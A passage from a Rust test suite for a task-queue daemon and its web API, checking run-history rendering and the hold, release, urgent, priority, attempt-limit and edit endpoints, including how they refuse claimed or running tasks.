15907 f.edges[1].label.contains("resume the same run"),
15908 "{}",
15909 f.edges[1].label
15910 );
15911 assert_eq!(f.nodes[1].note, Some("parked"));
15912 }
15913
15914 #[test]
15915 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15916 let mut a = flow_run(RunStatus::Implementing, |s| {
15917 s.passes = vec![
15918 recorded_pass(0, parked(upgrade_cause())),
15919 recorded_pass(1, None),
15920 ];
15921 });
15922 let mut b = flow_run(RunStatus::Failed, |s| {
15923 s.passes = vec![recorded_pass(0, None)];
15924 });
15925 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15926 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15927 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15928 let mut task = flow_task(&[]);
15929 task.start("a".into());
15930 task.start("b".into());
15931 task.start("a".into());
15932 assert_eq!(task.runs, ["b", "a"]);
15933 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15934 let h = task_history(&task, |id| {
15935 Some(if id == "a" { a.clone() } else { b.clone() })
15936 });
15937 assert_eq!(
15938 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15939 ["a", "b", "a"]
15940 );
15941 assert_eq!(h[0].attempt, AttemptCost::Refunded);
15942 assert!(h[0].outcome.contains("upgrade"));
15943 assert_eq!(h[2].kind, "resume");
15944 assert!(h[2].pass.is_some());
15945 task.runs = vec!["a".into(), "b".into(), "a".into()];
15947 let old = task_history(&task, |id| {
15948 Some(if id == "a" { a.clone() } else { b.clone() })
15949 });
15950 assert_eq!(
15951 old.iter()
15952 .map(|v| (&v.id, &v.kind, v.attempt))
15953 .collect::<Vec<_>>(),
15954 h.iter()
15955 .map(|v| (&v.id, &v.kind, v.attempt))
15956 .collect::<Vec<_>>()
15957 );
15958 }
15959
15960 #[test]
15961 fn an_upgrade_whose_target_was_not_known_says_so() {
15962 let run = flow_run(RunStatus::Implementing, |s| {
15963 s.passes = vec![
15964 recorded_pass(
15965 0,
15966 parked(crate::run::ParkCause::Upgrade {
15967 from: "0.121.0".to_owned(),
15968 to: None,
15969 }),
15970 ),
15971 recorded_pass(1, None),
15972 ];
15973 });
15974 let task = flow_task(&[RUN_X, RUN_X]);
15975 let h = task_history(&task, |_| Some(run.clone()));
15976 assert!(
15977 h[0].outcome.contains("upgrade from 0.121.0"),
15978 "{}",
15979 h[0].outcome
15980 );
15981 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15983 }
15984
15985 #[test]
15986 fn each_pass_keeps_its_own_cause_across_several_resumes() {
15987 use crate::queue::PassCost;
15988 use crate::run::ParkCause;
15989 let run = flow_run(RunStatus::Implementing, |s| {
15990 s.passes = vec![
15991 recorded_pass(0, parked(upgrade_cause())),
15992 recorded_pass(
15993 1,
15994 parked(ParkCause::Interrupt {
15995 reason: "task a1b2 asked to run first".to_owned(),
15996 }),
15997 ),
15998 recorded_pass(2, parked(ParkCause::Operator)),
15999 recorded_pass(3, None),
16000 ];
16001 });
16002 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16003 task.attempts = 1;
16004 task.passes = (0..3)
16005 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16006 .collect();
16007 let h = task_history(&task, |_| Some(run.clone()));
16008 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16009 assert!(
16010 h[1].outcome.contains("task a1b2 asked to run first"),
16011 "{}",
16012 h[1].outcome
16013 );
16014 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16015 assert!(
16016 h[2].outcome.contains("operator asked the loop to park"),
16017 "{}",
16018 h[2].outcome
16019 );
16020 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16021 let f = task_flow(&task, &h, 2, None);
16022 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16023 }
16024
16025 #[test]
16026 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16027 let run = flow_run(RunStatus::Implementing, |s| {
16028 s.passes = vec![
16029 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16030 recorded_pass(1, None),
16031 ];
16032 });
16033 let task = flow_task(&[RUN_X, RUN_X]);
16034 let h = task_history(&task, |_| Some(run.clone()));
16035 assert_eq!(h[0].exit, RunExit::Interrupted);
16036 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16037 assert!(
16038 h[0].outcome.contains("without recording why"),
16039 "{}",
16040 h[0].outcome
16041 );
16042 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16043 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16044 }
16045
16046 #[test]
16047 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16048 use crate::queue::PassCost;
16049 let run = flow_run(RunStatus::Implementing, |s| {
16052 s.passes = vec![
16053 recorded_pass(0, parked(upgrade_cause())),
16054 recorded_pass(1, None),
16055 ];
16056 });
16057 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16058 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16059 let h = task_history(&task, |_| Some(run.clone()));
16060 assert!(h[0].pass.is_none());
16061 assert_eq!(h[0].exit, RunExit::Interrupted);
16062 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16063 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16064 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16065 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16066 let legacy = flow_run(RunStatus::Implementing, |_| {});
16068 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16069 assert!(h.iter().all(|v| v.pass.is_none()));
16070 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16071 }
16072
16073 #[test]
16074 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16075 use crate::queue::PassCost;
16076 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16079 web.task_entry = false;
16080 let run = flow_run(RunStatus::Implementing, |s| {
16081 s.passes = vec![
16082 recorded_pass(0, parked(upgrade_cause())),
16083 web.clone(),
16084 recorded_pass(2, None),
16085 ];
16086 });
16087 let mut task = flow_task(&[RUN_X, RUN_X]);
16088 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16089 let h = task_history(&task, |_| Some(run.clone()));
16090 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16091 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16092
16093 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16096 web0.task_entry = false;
16097 let run = flow_run(RunStatus::Implementing, |s| {
16098 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16099 });
16100 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16101 assert!(h[0].pass.is_none());
16102 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16103 assert!(h[1].pass.is_some());
16104 }
16105
16106 #[tokio::test]
16107 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16108 let dir = tempfile::tempdir().unwrap();
16109 let queue = Queue::at(dir.path().join("queue"));
16110 let ui = Arc::new(Ui::new(
16111 queue.clone(),
16112 Questions::at(dir.path().join("questions")),
16113 Talks::at(dir.path().join("talks")),
16114 dir.path().join("runs"),
16115 dir.path().to_path_buf(),
16116 dir.path().to_path_buf(),
16117 ));
16118 let mut t = Task::new(
16119 "recover".into(),
16120 "Inspect".into(),
16121 PathBuf::from("."),
16122 Source::Human,
16123 );
16124 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16125 t.start("run-A".into());
16126 t.release_operator("choice", Some("resume-question"));
16127 t.resume_override = Some(crate::queue::OperatorResume {
16128 question_id: "resume-question".into(),
16129 at: jiff::Timestamp::now(),
16130 conductor_rehold: None,
16131 forced: true,
16132 pinned_run: Some("run-A".into()),
16133 });
16134 t.hold_machine(Some("inspection pending".into()));
16135 t.edit("recover".into(), "Reuse approved PR head".into())
16136 .unwrap();
16137 queue.put(&mut t).unwrap();
16138 let mut cli = t.clone();
16139 cli.release_operator("cli", None);
16140 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16141 let reloaded = queue.get(&t.id).unwrap();
16142 assert_eq!(reply.task.status, TaskStatus::Queued);
16143 assert!(reloaded.resume_override.is_none());
16144 assert_eq!(reloaded.answers, t.answers);
16145 let mut web = reloaded.resumption.unwrap();
16146 let cli = cli.resumption.unwrap();
16147 assert_eq!(web.source, "web");
16148 web.source = cli.source.clone();
16149 web.at = cli.at;
16150 assert_eq!(web, cli);
16151 }
16152
16153 #[tokio::test]
16154 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16155 let f = Fixture::start().await;
16156 let queue = f.queue();
16157 let mut task = Task::new(
16158 "spent".to_owned(),
16159 "Try again".to_owned(),
16160 PathBuf::from("/repo/magi"),
16161 Source::Human,
16162 );
16163 task.start("20260902-140502-bbbb".to_owned());
16164 task.fail("agent gave up", 9);
16165 queue.put(&mut task).expect("file the task");
16166
16167 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16168 assert_eq!(held.status, 200);
16169 assert_eq!(held.json()["status_str"], "held");
16170
16171 let released = f
16172 .post(&format!("/api/queue/{}/release", task.id), None)
16173 .await;
16174 assert_eq!(released.status, 200);
16175 assert_eq!(released.json()["status_str"], "queued");
16176 assert_eq!(released.json()["resumption"]["source"], "web");
16177 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16178 let mut cli = task.clone();
16179 cli.release_operator("cli", None);
16180 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16181 let cli = cli.resumption.unwrap();
16182 assert_eq!(web.instruction, cli.instruction);
16183 assert_eq!(web.answers_through, cli.answers_through);
16184 assert_eq!(web.runs_through, cli.runs_through);
16185 assert_eq!(web.cleared_reason, cli.cleared_reason);
16186 assert_eq!(
16187 released.json()["attempts"],
16188 0,
16189 "release is a real second chance, not an instant re-hold"
16190 );
16191 assert_eq!(
16192 queue.get(&task.id).expect("reload").status,
16193 TaskStatus::Queued,
16194 "the change is on disk, not only in the reply"
16195 );
16196 assert!(
16197 !f.home
16198 .path()
16199 .join("queue")
16200 .join(format!("{}.lock", task.id))
16201 .exists(),
16202 "the claim the mutation took is released again"
16203 );
16204 }
16205
16206 #[tokio::test]
16207 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16208 let f = Fixture::start().await;
16209 let queue = f.queue();
16210 let mut task = Task::new(
16211 "busy".to_owned(),
16212 "Running right now".to_owned(),
16213 PathBuf::from("/repo/magi"),
16214 Source::Human,
16215 );
16216 queue.put(&mut task).expect("file the task");
16217 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16218
16219 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16220
16221 assert_eq!(res.status, 409);
16222 assert_eq!(
16223 queue.get(&task.id).expect("reload").status,
16224 TaskStatus::Queued,
16225 "the refused hold changed nothing"
16226 );
16227 }
16228
16229 #[tokio::test]
16230 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16231 let f = Fixture::start().await;
16232 let queue = f.queue();
16233 let mut task = Task::new(
16234 "waiting on the migration".to_owned(),
16235 "Do the thing".to_owned(),
16236 PathBuf::from("/repo/magi"),
16237 Source::Human,
16238 );
16239 queue.put(&mut task).expect("file the task");
16240
16241 let held = f
16242 .post(
16243 &format!("/api/queue/{}/hold", task.id),
16244 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16245 )
16246 .await;
16247 assert_eq!(held.status, 200, "{}", held.body);
16248 assert_eq!(held.json()["status_str"], "held");
16249 assert_eq!(
16250 held.json()["hold_reason"],
16251 "waiting for 20260101-000000-aaaa to land"
16252 );
16253
16254 let listed = f.get("/api/queue").await.json();
16255 assert_eq!(
16256 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16257 "the card reads the reason off the same list route"
16258 );
16259
16260 let mut plain = Task::new(
16263 "no reason given".to_owned(),
16264 "Do another thing".to_owned(),
16265 PathBuf::from("/repo/magi"),
16266 Source::Human,
16267 );
16268 queue.put(&mut plain).expect("file the task");
16269 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16270 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16271 assert!(held_plain.json()["hold_reason"].is_null());
16272
16273 let released = f
16274 .post(&format!("/api/queue/{}/release", task.id), None)
16275 .await;
16276 assert_eq!(released.status, 200);
16277 assert!(
16278 released.json()["hold_reason"].is_null(),
16279 "a release must clear the reason so the next hold does not inherit it"
16280 );
16281 }
16282
16283 #[test]
16284 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16285 for urgent in [true, false] {
16286 let body: UrgentBody =
16287 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16288 assert_eq!(body.urgent, urgent);
16289 }
16290 for input in [
16291 r#"{}"#,
16292 r#"{"urgent":null}"#,
16293 r#"{"urgent":"true"}"#,
16294 r#"{"urgent":1}"#,
16295 r#"{"urgent":true,"extra":false}"#,
16296 ] {
16297 assert!(
16298 serde_json::from_str::<UrgentBody>(input).is_err(),
16299 "{input}"
16300 );
16301 }
16302 }
16303
16304 #[tokio::test]
16305 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16306 let home = TempDir::new().unwrap();
16307 let q = Queue::at(home.path().join("queue"));
16308 let ui = Arc::new(Ui::new(
16309 q.clone(),
16310 Questions::at(home.path().join("questions")),
16311 Talks::at(home.path().join("talks")),
16312 home.path().join("runs"),
16313 home.path().into(),
16314 home.path().into(),
16315 ));
16316 let mut task = Task::new(
16317 "urgent handler".into(),
16318 "keep".into(),
16319 home.path().into(),
16320 Source::Human,
16321 );
16322 for status in [TaskStatus::Queued, TaskStatus::Held] {
16323 task.status = status;
16324 q.put(&mut task).unwrap();
16325 for urgent in [true, true, false, false] {
16326 let saved = queue_urgent(
16327 State(Arc::clone(&ui)),
16328 Path(task.short().into()),
16329 Ok(Json(UrgentBody { urgent })),
16330 )
16331 .await
16332 .unwrap();
16333 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16334 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16335 }
16336 }
16337 task.status = TaskStatus::Queued;
16338 q.put(&mut task).unwrap();
16339 let claim = q.claim(&task.id).unwrap();
16340 let error = queue_urgent(
16341 State(Arc::clone(&ui)),
16342 Path(task.id.clone()),
16343 Ok(Json(UrgentBody { urgent: true })),
16344 )
16345 .await
16346 .unwrap_err();
16347 assert_eq!(error.status, StatusCode::CONFLICT);
16348 assert!(error.message.contains("released"));
16349 drop(claim);
16350 for status in [
16351 TaskStatus::Running,
16352 TaskStatus::Done,
16353 TaskStatus::Failed,
16354 TaskStatus::Blocked,
16355 TaskStatus::Parked,
16356 ] {
16357 task.status = status;
16358 q.put(&mut task).unwrap();
16359 let error = queue_urgent(
16360 State(Arc::clone(&ui)),
16361 Path(task.id.clone()),
16362 Ok(Json(UrgentBody { urgent: false })),
16363 )
16364 .await
16365 .unwrap_err();
16366 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16367 assert!(error.message.contains(status.as_str()));
16368 }
16369 }
16370
16371 #[tokio::test]
16372 async fn urgent_api_updates_preserves_and_validates_tasks() {
16373 let f = Fixture::start().await;
16374 let q = f.queue();
16375 let mut t = Task::new(
16376 "urgent API".into(),
16377 "unchanged".into(),
16378 PathBuf::from("/repo/magi"),
16379 Source::Human,
16380 );
16381 t.attempts = 2;
16382 t.priority = 9;
16383 t.interrupt = true;
16384 t.hold_reason = Some("waiting for approval".into());
16385 for status in [TaskStatus::Queued, TaskStatus::Held] {
16386 t.status = status;
16387 q.put(&mut t).unwrap();
16388 for urgent in [true, true, false, false] {
16389 let response = f
16390 .post(
16391 &format!("/api/queue/{}/urgent", t.short()),
16392 Some(&format!("{{\"urgent\":{urgent}}}")),
16393 )
16394 .await;
16395 assert_eq!(response.status, 200, "{}", response.body);
16396 assert_eq!(response.json()["urgent"], urgent);
16397 let saved = q.get(&t.id).unwrap();
16398 let mut before = serde_json::to_value(&t).unwrap();
16399 let mut after = serde_json::to_value(saved).unwrap();
16400 before["urgent"] = urgent.into();
16401 before.as_object_mut().unwrap().remove("updated_at");
16402 after.as_object_mut().unwrap().remove("updated_at");
16403 assert_eq!(after, before);
16404 }
16405 }
16406 let route = format!("/api/queue/{}/urgent", t.id);
16407 for body in [
16408 r#"{}"#,
16409 r#"{"urgent":null}"#,
16410 r#"{"urgent":"true"}"#,
16411 r#"{"urgent":1}"#,
16412 r#"{"urgent":true,"extra":false}"#,
16413 "{",
16414 ] {
16415 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16416 }
16417 t.status = TaskStatus::Queued;
16418 q.put(&mut t).unwrap();
16419 let claim = q.claim(&t.id).unwrap();
16420 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16421 assert_eq!(response.status, 409, "{}", response.body);
16422 assert!(!q.get(&t.id).unwrap().urgent);
16423 drop(claim);
16424 for status in [
16425 TaskStatus::Running,
16426 TaskStatus::Done,
16427 TaskStatus::Failed,
16428 TaskStatus::Blocked,
16429 TaskStatus::Parked,
16430 ] {
16431 t.status = status;
16432 q.put(&mut t).unwrap();
16433 for urgent in [true, false] {
16434 let response = f
16435 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16436 .await;
16437 assert_eq!(response.status, 400, "{}", response.body);
16438 assert!(response.body.contains(status.as_str()));
16439 assert!(response.body.contains("queued or held"));
16440 assert!(!q.get(&t.id).unwrap().urgent);
16441 }
16442 }
16443 assert_eq!(
16444 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16445 .await
16446 .status,
16447 404
16448 );
16449 }
16450
16451 #[tokio::test]
16452 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16453 let f = Fixture::start().await;
16454 let queue = f.queue();
16455 let mut older = Task::new(
16456 "filed first".to_owned(),
16457 "x".to_owned(),
16458 PathBuf::from("/repo/magi"),
16459 Source::Human,
16460 );
16461 older.id = "20260101-000001-aaaa".to_owned();
16462 let mut newer = Task::new(
16463 "filed second".to_owned(),
16464 "x".to_owned(),
16465 PathBuf::from("/repo/magi"),
16466 Source::Human,
16467 );
16468 newer.id = "20260101-000002-bbbb".to_owned();
16469 queue.put(&mut older).expect("file older");
16470 queue.put(&mut newer).expect("file newer");
16471
16472 let before = f.get("/api/queue").await.json();
16475 assert_eq!(before[0]["id"], newer.id);
16476 assert_eq!(before[1]["id"], older.id);
16477
16478 let raised = f
16482 .post(
16483 &format!("/api/queue/{}/priority", older.id),
16484 Some(r#"{"priority":10}"#),
16485 )
16486 .await;
16487 assert_eq!(raised.status, 200, "{}", raised.body);
16488 assert_eq!(raised.json()["priority"], 10);
16489
16490 let after = f.get("/api/queue").await.json();
16491 let names: Vec<&str> = after
16492 .as_array()
16493 .unwrap()
16494 .iter()
16495 .map(|t| t["id"].as_str().unwrap())
16496 .collect();
16497 assert_eq!(names[0], older.id, "the raised task now sorts first");
16501 }
16502
16503 #[tokio::test]
16504 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16505 let dir = TempDir::new().unwrap();
16506 let q = Queue::at(dir.path().join("queue"));
16507 let ui = Arc::new(Ui::new(
16508 q.clone(),
16509 Questions::at(dir.path().join("questions")),
16510 Talks::at(dir.path().join("talks")),
16511 dir.path().join("runs"),
16512 dir.path().to_path_buf(),
16513 dir.path().to_path_buf(),
16514 ));
16515 let mut t = Task::new(
16516 "budget".into(),
16517 "keep".into(),
16518 dir.path().into(),
16519 Source::Human,
16520 );
16521 t.attempts = 2;
16522 t.runs.push("prior-run".into());
16523 t.hold_manual(Some("waiting".into()));
16524 q.put(&mut t).unwrap();
16525 let change = |value| {
16526 queue_attempt_limit(
16527 State(ui.clone()),
16528 Path(t.id.clone()),
16529 Ok(Json(AttemptLimitBody {
16530 attempt_limit: value,
16531 })),
16532 )
16533 };
16534 for value in [
16535 serde_json::json!(3),
16536 serde_json::Value::Null,
16537 serde_json::json!(1),
16538 ] {
16539 let response = change(value.clone()).await.unwrap();
16540 assert_eq!(
16541 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16542 value
16543 );
16544 let saved = q.get(&t.id).unwrap();
16545 assert_eq!(
16546 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16547 value
16548 );
16549 assert_eq!(saved.status, TaskStatus::Held);
16550 assert_eq!(saved.attempts, t.attempts);
16551 assert_eq!(saved.runs, t.runs);
16552 assert_eq!(saved.hold_reason, t.hold_reason);
16553 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16554 .await
16555 .unwrap()
16556 .0;
16557 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16558 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16559 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16560 assert_eq!(outcome.max_attempts, detail.max_attempts);
16561 }
16562 for value in [
16563 serde_json::json!(0),
16564 serde_json::json!(-1),
16565 serde_json::json!(1.5),
16566 serde_json::json!("3"),
16567 serde_json::json!(true),
16568 ] {
16569 assert_eq!(
16570 change(value).await.err().unwrap().status,
16571 StatusCode::BAD_REQUEST
16572 );
16573 }
16574 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16575 let claim = q.claim(&t.id).unwrap();
16576 assert_eq!(
16577 change(serde_json::json!(4)).await.err().unwrap().status,
16578 StatusCode::CONFLICT
16579 );
16580 drop(claim);
16581 for status in [
16582 TaskStatus::Running,
16583 TaskStatus::Done,
16584 TaskStatus::Failed,
16585 TaskStatus::Blocked,
16586 TaskStatus::Parked,
16587 ] {
16588 let mut stored = q.get(&t.id).unwrap();
16589 stored.status = status;
16590 q.put(&mut stored).unwrap();
16591 assert_eq!(
16592 change(serde_json::json!(4)).await.err().unwrap().status,
16593 StatusCode::BAD_REQUEST
16594 );
16595 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16596 }
16597 let mut stored = q.get(&t.id).unwrap();
16598 stored.status = TaskStatus::Queued;
16599 q.put(&mut stored).unwrap();
16600 let _ = change(serde_json::Value::Null).await.unwrap();
16601 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16602 }
16603
16604 #[tokio::test]
16605 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16606 let dir = TempDir::new().unwrap();
16607 let repo = dir.path().join("repo");
16608 std::fs::create_dir(&repo).unwrap();
16609 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16610 let q = Queue::at(dir.path().join("queue"));
16611 let ui = Arc::new(Ui::new(
16612 q.clone(),
16613 Questions::at(dir.path().join("questions")),
16614 Talks::at(dir.path().join("talks")),
16615 dir.path().join("runs"),
16616 dir.path().to_path_buf(),
16617 repo.clone(),
16618 ));
16619 let mut t = Task::new(
16620 "seats".into(),
16621 "keep instruction".into(),
16622 repo,
16623 Source::Human,
16624 );
16625 t.runs.push("prior-run".into());
16626 t.hold_manual(Some("waiting".into()));
16627 q.put(&mut t).unwrap();
16628 let change = |count| {
16629 queue_implementers(
16630 State(ui.clone()),
16631 Path(t.id.clone()),
16632 Ok(Json(ImplementersBody {
16633 implementers: count,
16634 })),
16635 )
16636 };
16637 for count in [2, 1, 2] {
16638 let response = change(count).await.unwrap();
16639 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16640 let saved = q.get(&t.id).unwrap();
16641 assert_eq!(saved.implementers(), Some(usize::from(count)));
16642 assert_eq!(saved.runs, t.runs);
16643 assert_eq!(saved.instruction, t.instruction);
16644 }
16645 for count in [0, 4] {
16646 assert_eq!(
16647 change(count).await.err().unwrap().status,
16648 StatusCode::BAD_REQUEST
16649 );
16650 }
16651 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16652 let claim = q.claim(&t.id).unwrap();
16653 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16654 drop(claim);
16655 for status in [
16656 TaskStatus::Running,
16657 TaskStatus::Done,
16658 TaskStatus::Failed,
16659 TaskStatus::Blocked,
16660 TaskStatus::Parked,
16661 ] {
16662 let mut stored = q.get(&t.id).unwrap();
16663 stored.status = status;
16664 q.put(&mut stored).unwrap();
16665 assert_eq!(
16666 change(1).await.err().unwrap().status,
16667 StatusCode::BAD_REQUEST
16668 );
16669 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16670 }
16671 }
16672
16673 #[tokio::test]
16674 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16675 let f = Fixture::start().await;
16676 let queue = f.queue();
16677 let mut task = Task::new(
16678 "in flight".to_owned(),
16679 "x".to_owned(),
16680 PathBuf::from("/repo/magi"),
16681 Source::Human,
16682 );
16683 task.start("20260902-140502-bbbb".to_owned());
16684 queue.put(&mut task).expect("file the task");
16685
16686 let res = f
16687 .post(
16688 &format!("/api/queue/{}/priority", task.id),
16689 Some(r#"{"priority":9}"#),
16690 )
16691 .await;
16692 assert_eq!(res.status, 400, "{}", res.body);
16693 assert!(
16694 res.json()["error"]
16695 .as_str()
16696 .is_some_and(|e| e.contains("running")),
16697 "{}",
16698 res.body
16699 );
16700 assert_eq!(
16701 queue.get(&task.id).expect("reload").priority,
16702 0,
16703 "the refused write must not partially apply"
16704 );
16705 }
16706
16707 #[tokio::test]
16708 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16709 let f = Fixture::start().await;
16710 let queue = f.queue();
16711 let mut task = Task::new(
16712 "old title".to_owned(),
16713 "old instruction".to_owned(),
16714 PathBuf::from("/repo/magi"),
16715 Source::Agent {
16716 run: "20260101-000000-beef".to_owned(),
16717 node: "implement".to_owned(),
16718 },
16719 );
16720 task.runs.push("20260101-000000-beef".to_owned());
16721 queue.put(&mut task).expect("file the task");
16722 let created_at = task.created_at;
16723
16724 let edited = f
16725 .post(
16726 &format!("/api/queue/{}/edit", task.id),
16727 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16728 )
16729 .await;
16730 assert_eq!(edited.status, 200, "{}", edited.body);
16731 let body = edited.json();
16732 assert_eq!(body["title"], "new title");
16733 assert_eq!(body["instruction"], "new instruction");
16734 assert_eq!(body["id"], task.id, "editing must not mint a new id");
16735 assert_eq!(body["created_at"], created_at.to_string());
16736 assert_eq!(
16737 body["source"]["kind"], "agent",
16738 "editing a task an agent filed must not turn it human: {body}"
16739 );
16740 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16741
16742 let reloaded = queue.get(&task.id).expect("reload");
16743 assert_eq!(reloaded.title, "new title");
16744 assert_eq!(reloaded.instruction, "new instruction");
16745 }
16746
16747 #[tokio::test]
16748 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16749 let tmp = TempDir::new().expect("tempdir");
16752 let repo = tmp.path().join("repo");
16753 std::fs::create_dir_all(&repo).expect("repo dir");
16754 let judge = MOCK_AGENT_TOML.replace(
16755 "printf ok",
16756 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16757 );
16758 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16759 let f = Fixture::with_repo(repo.clone()).await;
16760 let queue = f.queue();
16761 let mut owner = Task::new(
16762 "owner".to_owned(),
16763 "review it".to_owned(),
16764 repo.clone(),
16765 Source::Human,
16766 );
16767 owner.review_branch = Some("magi/ab12/A".to_owned());
16768 queue.put(&mut owner).expect("file the owner");
16769 let mut task = Task::new(
16770 "draft".to_owned(),
16771 "old".to_owned(),
16772 repo.clone(),
16773 Source::Human,
16774 );
16775 queue.put(&mut task).expect("file the draft");
16776 let url = format!("/api/queue/{}/edit", task.id);
16777
16778 let refused = f
16779 .post(
16780 &url,
16781 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16782 )
16783 .await;
16784 assert_eq!(refused.status, 409, "{}", refused.body);
16785 let msg = refused.json()["error"]
16786 .as_str()
16787 .unwrap_or_default()
16788 .to_owned();
16789 assert!(
16790 msg.contains("magi/ab12/A") && msg.contains("force"),
16791 "{msg}"
16792 );
16793 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16794
16795 let forced = f
16796 .post(
16797 &url,
16798 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16799 )
16800 .await;
16801 assert_eq!(forced.status, 200, "{}", forced.body);
16802 }
16803
16804 #[tokio::test]
16805 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16806 let f = Fixture::start().await;
16807 let queue = f.queue();
16808 let mut task = Task::new(
16809 "in flight".to_owned(),
16810 "do not touch".to_owned(),
16811 PathBuf::from("/repo/magi"),
16812 Source::Human,
16813 );
16814 task.start("20260902-140502-bbbb".to_owned());
16815 queue.put(&mut task).expect("file the task");
16816
16817 let res = f
16818 .post(
16819 &format!("/api/queue/{}/edit", task.id),
16820 Some(r#"{"title":"x","instruction":"y"}"#),
16821 )
16822 .await;
16823 assert_eq!(res.status, 400, "{}", res.body);
16824 assert!(
16825 res.json()["error"]
16826 .as_str()
16827 .is_some_and(|e| e.contains("running")),
16828 "{}",
16829 res.body
16830 );
16831 assert_eq!(
16832 queue.get(&task.id).expect("reload").instruction,
16833 "do not touch",
16834 "the refused edit must not change the file"
16835 );
16836 }
16837
16838 #[tokio::test]
16839 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16840 let f = Fixture::start().await;
16841 let queue = f.queue();
